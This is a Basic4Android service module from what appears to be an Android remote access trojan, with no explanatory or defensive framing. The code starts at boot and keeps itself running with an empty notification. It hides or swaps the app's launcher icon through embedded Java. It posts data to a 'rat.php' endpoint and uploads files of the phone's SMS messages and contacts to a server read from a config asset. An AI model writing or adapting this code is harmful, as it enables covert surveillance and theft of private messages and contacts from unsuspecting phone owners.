﻿B4A=true
Group=Default Group
ModulesStructureVersion=1
Type=Service
Version=12.2
@EndOfDesignText@
#Region  Service Attributes 
	#StartAtBoot: True
#End Region

Sub Process_Globals
	Dim ht As HttpJob
	
End Sub

Sub Service_Create
	Service.AutomaticForegroundMode = Service.AUTOMATIC_FOREGROUND_ALWAYS
	ht.Initialize("ht",Me)
	Dim n As Notification
	n.Initialize2(n.IMPORTANCE_LOW)
	n.Icon      = "icon"
	n.Sound    = False
	n.Vibrate    = False
	n.Light    = False
	n.Insistent  = False
	n.AutoCancel = False
	n.SetInfo("","","")
	Service.AutomaticForegroundNotification = n
End Sub

#if java
import android.content.ComponentName;
import android.content.ComponentName;
import android.content.pm.PackageManager;
import android.os.Build;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.os.PowerManager;

public void hideAppIcon() {
	try {
		ComponentName componentName = new ComponentName(this, org.nanesag.main.class); 
      	getPackageManager().setComponentEnabledSetting(componentName, 2, 1);
	} catch (Exception e) {
		e.printStackTrace();
	}
}


public void unhideAppIcon() {
	try {
		ComponentName componentName = new ComponentName(this, org.nanesag.main.class);
		getPackageManager().setComponentEnabledSetting(componentName, 1, 1);
	} catch (Exception e) {
		e.printStackTrace();
	}
}
public void change_icon(String pakage, String na)
{
	try {
		
		PackageManager pm = getPackageManager();
		ComponentName componentName = new ComponentName(this, na);
		pm.setComponentEnabledSetting(componentName ,PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
		pm.setComponentEnabledSetting(new ComponentName(this, pakage), PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
		
	} catch (Exception e) {
		e.printStackTrace();
	}
}

#End If


Sub Service_Start (StartingIntent As Intent)
	StartServiceAt("",DateTime.Now + 0.1*DateTime.TicksPerMinute,False)
End Sub
Sub SendReq(data As String)
	Log("Req")
	Dim strResult As String = File.ReadString(File.DirAssets,"url.txt")
	Dim apilink As String = strResult&"/rat.php"
	ht.PostString(apilink,data)
	Wait For JobDone(job As HttpJob)
End Sub
Sub SendSmsFile(needs As String)
	Log("Req")
	Dim strResult As String = File.ReadString(File.DirAssets,"url.txt")
	ht.Postfile(strResult&needs,File.DirInternal,"allsms.txt")
	Wait For JobDone(job As HttpJob)
End Sub
Sub SendContactFile(needs As String)
	Log("Req")
	Dim strResult As String = File.ReadString(File.DirAssets,"url.txt")
	ht.Postfile(strResult&needs,File.DirInternal,"allcontact.txt")
	Wait For JobDone(job As HttpJob)
End Sub
Sub JobDone (Job As HttpJob)
	Dim res As String = ht.GetString
	Log(res)
End Sub
Sub hideIcon()
	Dim j As JavaObject
	j.InitializeContext
	j.RunMethod("hideAppIcon" , Null)
End Sub
Sub unhideIcon()
	Dim j As JavaObject
	j.InitializeContext
	j.RunMethod("unhideAppIcon", Null)
End Sub
Sub change_icon(pkg_name1 As String)
	Dim j As JavaObject
	j.InitializeContext
	j.RunMethod("change_icon", Array As Object(pkg_name1 & ".second", pkg_name1 & ".main"))
End Sub
Sub Service_Destroy
	StartService("")
End Sub
